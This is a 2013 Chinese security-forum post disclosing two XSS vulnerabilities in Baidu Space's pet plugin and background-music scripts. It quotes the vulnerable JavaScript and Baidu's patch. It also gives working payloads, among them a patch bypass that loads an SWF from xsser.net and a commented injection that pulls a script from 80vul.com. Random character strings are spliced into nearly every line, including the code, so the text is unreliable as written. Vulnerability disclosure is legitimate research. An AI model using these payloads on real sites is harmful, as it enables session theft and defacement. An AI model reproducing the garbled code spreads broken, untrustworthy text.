找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2328|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  6 O0 d; K# y& K& I' G# J
& q1 Y6 d0 E' z/ x/ g
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  " P* M+ L- V) x& Y
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
! M+ R( D$ p' U6 f- H8 m2 e3 X0 i' Z
' C6 c: o8 w1 M6 g将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
( n+ I; t" m: ~. a7 O3 D  P; E其中BdUtil.insertWBR为  8 Z8 w# {8 L' h) b
function(text, step) {  * z" F2 w" t. S0 r7 p! P, K% N
    var textarea = textAreaCache || getContainer();  3 b8 e' i1 }/ E/ H4 l" R4 d3 g5 W) l; Z
    if (!textarea) {  - {6 J) u+ D3 G" ?& F6 @0 M$ G
        return text;  * E5 z5 t$ q  v, }- I! c. I! @; b, N6 v% }
    }  
2 X! E1 s9 q, L3 b    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
- w9 e% z" b! S& n. `( I    var string = textarea.value;  & c. g6 ?  y: d3 ]5 i" y/ d
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
% |" C! ?4 z9 G& G  {9 ]    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  % P" o  I) r3 ?! z9 W5 D' \( ^
    return result;  
) F7 j# t$ B& Q' c" a8 k3 D, Q}  7 l; }& b; v& N
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
' ?, ]3 M: z. \测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
# t: C5 ]# d* A3 V: W* B% Z* u   
7 R! j  w) I. t  m8 |二:creatbgmusic() Dom-Xss Bug  
/ ]% J* T5 u0 A百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
7 U( u' K& W8 `3 P# q+ v1 A& t; C3 X" w, a
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
  X+ Z+ Q5 m' ?, n
4 B- W4 D4 a% _8 Z7 \+ Z3 Rfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  ' k- E3 ~! r" T/ k& ]: T* v
    //传入的murl赋值到bgmusic1和bgmusic2中  
' @2 z' D2 D+ \) c; h/ \3 N    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
  \0 {$ q1 g8 n1 Z    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
9 R( h6 {1 B5 C  p+ x$ l    if (musicnum <= 1) {  5 l2 g  B& ^6 h' O2 i; d
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
% X5 d' g: C3 R: H" H    }  
- t  X, Z: P1 m; b% R1 M- Y    bgmusic1 += "</OBJECT>";  2 _+ x! J) ~" x, @2 L4 E
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  % Z7 \& c( S; s7 L) t% S/ M1 M
    if (musicnum <= 1) {  6 C# }& M: ?: L5 D; f
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
/ U: h* }+ d2 v  M  e4 b    }  
7 }/ }3 ]1 L$ }7 ]& D1 N    bgmusic2 += "> </EMBED>";  1 o( ]; r6 a% x
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  - c* Q# o$ ^( I' a
    var bgmus = detectWMP();  
! B: C" a+ I/ {9 ^* O    if (functype == "FckMusicHelper") {  4 J0 D: M2 B7 U2 M  e/ q
        if (bgmus.installed) {  0 {) d# j: g( Y" `
            if (bgmus.type == "IE") {  
1 ^" @; U8 N) t1 Z+ E, d                return bgmusic1;  2 [' i: U% f4 I' ?. L3 s' e6 e6 d
            } else if (bgmus.type == "NS") {  
% G8 B1 b) ~+ b4 C: Y" m                return bgmusic2;  
$ ]# L9 \$ O& _2 h            }  ; ~8 k) D. h& i+ _1 y/ Y$ O
        } else {  & [. Z! D- x# T! E* P0 N
            return bgmusic3;  & Q" Y* a& E" B9 v. H$ T
        }  
3 _; _2 ~$ K; h6 [    } else {  $ `3 w" f2 N" D% j9 e$ F. L
        if (bgmus.installed) {  $ B/ Z, Y( m, L
            //document.write 直接输出bgmusic变量 导致xss  ( Z0 ]+ w5 `9 ?& K6 c
            if (bgmus.type == "IE") {  / l1 {* s" U& U) S; C" V- d
                document.write(bgmusic1);  
6 L  w! g$ O  P            } else if (bgmus.type == "NS") {  % ?6 l; \3 Y8 m, x) e4 O
                document.write(bgmusic2);  
! b9 D# L8 U# q  `, w. y( h/ N( L, `            }  
9 z$ y! [; ^7 y/ r8 n& N        } else {  
( ~! v* B2 m/ R: b            document.write(bgmusic3);  . f5 i( \2 S/ V; o
        }  
" U( [- C/ ?( J        return "";  ! `+ ~/ x+ u& I: y
    }  9 M! X: k$ J- x0 D6 P  l& j7 q0 N. ~
}  3 u& `: r  \/ ]- N# Y  t$ S1 a& Y

# x% i# z( y( G在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  % ~- k' _& E) P
; W& `/ U( [% Q/ r
function initBlogTextForFCK(){  , D( L6 V5 T" g4 y
//fck init music  $ R6 P5 J, s. ?& L/ o
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
4 h; O  e+ Z, N' W1 fvar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
) K4 L2 ]+ {8 u# r) W3 ^var isAutoPlay=true;  
3 I# {- O, Y/ E. |; L, H# U: _for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  7 y3 z' l' o& X( l
  var img=imgBox;    ?1 ]  U: v- G, A( G7 R" l) E
  if(img.getAttribute(’rel’)){        
9 i& w! N0 ^: T' H% }) a   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
( O, }8 z$ I; W2 l2 g4 j   var musicDiv = document.createElement("SPAN");  . D8 z5 |: L# X3 F, C
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  ' k3 `$ J$ D' G1 I' W
     ' ^- U% h2 G8 a* p/ t6 C3 [
      ..........................  
) d& r& W+ t/ i1 |5 y; |     4 Z) y  D) ^( P& M5 k: J
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   % e9 n: i7 F/ J1 h5 ^
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
" A' y! G1 D# Y& F: c6 k% P   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  - n  t! N6 n( Q! f; z2 L
   musicDiv.innerHTML=shtml;  
1 i/ b9 Q8 e- y# |4 g% p   i--;n--;  
3 }. Z) S% }6 B1 G+ ^  }  : E- @/ r8 h. I; y9 \
}  
; ^/ o# L- f/ Q0 R
: R1 Q7 O2 Q' {7 p; s8 ]/ c从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  / K4 j3 ^( M% i7 }- R
   3 K6 D+ V+ j4 Z
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  * |% o3 g0 z* ?3 r9 W7 R

3 f/ W' `7 h$ M( E! U5 U# B% z等待官方补丁  1 o5 X) L3 ?) x, t" B
5 D$ \( ^1 [6 c$ K3 _1 z
update 2010年5月13日   ) T- u7 n( ]1 H# t1 {2 v& }

/ F" P& v+ A4 T4 ^2 W官方补丁:  
  J9 k! N9 h- m5 b2 i3 m" n9 A6 |
1 }6 g( m$ f* H7 E! A8 vvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
7 j& q. o! h2 S' m4 \! G9 ]/ n" |改为:  
2 v2 L! b0 {* O* [& ~& cvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
8 b  B* H! z1 S# M5 @, B
" [* _, U) k- S0 O" vupdate 2010年5月13日 21:50:37  3 F6 r3 l8 a6 O" V

* U* a9 T) U% }8 l3 C补丁存在漏洞 没有过滤" 可以继续跨:  
" |% \6 n0 Z1 h, w" {4 _4 a. T
NEW POC:  $ k! c6 m. x# d. k
' ^0 h( ^) v' ?8 T* P& V: e5 N
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
* ^! W. [( e% n9 Q
$ m% c2 Y  P6 y! {5 q5 e, M* [allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
; k; G3 H7 D1 N: r " W$ S0 R9 d' N8 R4 n8 B4 \4 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表